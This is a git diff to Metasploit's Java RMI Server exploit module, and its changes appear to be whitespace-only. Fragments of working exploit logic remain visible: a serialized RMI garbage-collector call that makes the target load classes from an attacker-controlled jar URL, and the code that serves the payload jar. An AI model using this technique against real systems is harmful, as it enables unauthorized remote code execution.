diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index c9bac09091..83a02d00da 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', 'Description' => %q{ This module takes advantage of the default configuration of the RMI Registry and - RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it + RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every - RMI endpoint, it can be used against both rmiregistry and rmid, and against most other + RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do - not support remote class loading, unless another RMI endpoint is active in the same + not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. @@ -32,14 +32,14 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ # RMI protocol specification - [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], # Placeholder reference for matching - [ 'MSF', 'java_rmi_server'] + [ 'MSF', 'java_rmi_server'] ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, - 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ Opt::RPORT(1099), - OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), ], self.class) register_common_rmi_ports_and_services end @@ -91,18 +91,18 @@ class Metasploit3 < Msf::Exploit::Remote begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error - # When the server stops due to our timeout, re-raise + # When the server stops due to our timeout, re-raise # RuntimeError so it won't wait the full wfs_delay - raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" rescue Msf::Exploit::Failed # When the server stops due primer failing, re-raise # RuntimeError so it won't wait the full wfs_delays - raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" - rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e # When the primer fails due to an error connecting with # the rhost, re-raise RuntimeError so it won't wait the # full wfs_delays - raise ::RuntimeError, e.message + raise ::RuntimeError, e.message end end @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote send_header ack = recv_protocol_ack if ack.nil? - fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end jar = rand_text_alpha(rand(8)+1) + '.jar' @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) - # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, @@ -180,12 +180,12 @@ class Metasploit3 < Msf::Exploit::Remote p = regenerate_payload(cli) jar = p.encoded_jar paths = [ - [ "metasploit", "RMILoader.class" ], - [ "metasploit", "RMIPayload.class" ], + [ "metasploit", "RMILoader.class" ], + [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, MetasploitPayloads.path('java')) + jar.add_files(paths, MetasploitPayloads.path('java')) - send_response(cli, jar.pack, + send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', @@ -240,7 +240,7 @@ class Metasploit3 < Msf::Exploit::Remote new_array_super.description = Rex::Java::Serialization::Model::NullReference.new new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') new_array_desc.serial_version = 0x871300b8d02c647e new_array_desc.flags = 2 new_array_desc.fields = [] @@ -259,13 +259,13 @@ class Metasploit3 < Msf::Exploit::Remote arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') new_class_desc.serial_version = 0xa16544ba26f9c2f4 new_class_desc.flags = 2 new_class_desc.fields = [] new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), Rex::Java::Serialization::Model::EndBlockData.new ] new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new @@ -278,7 +278,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments << new_object - arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") arguments end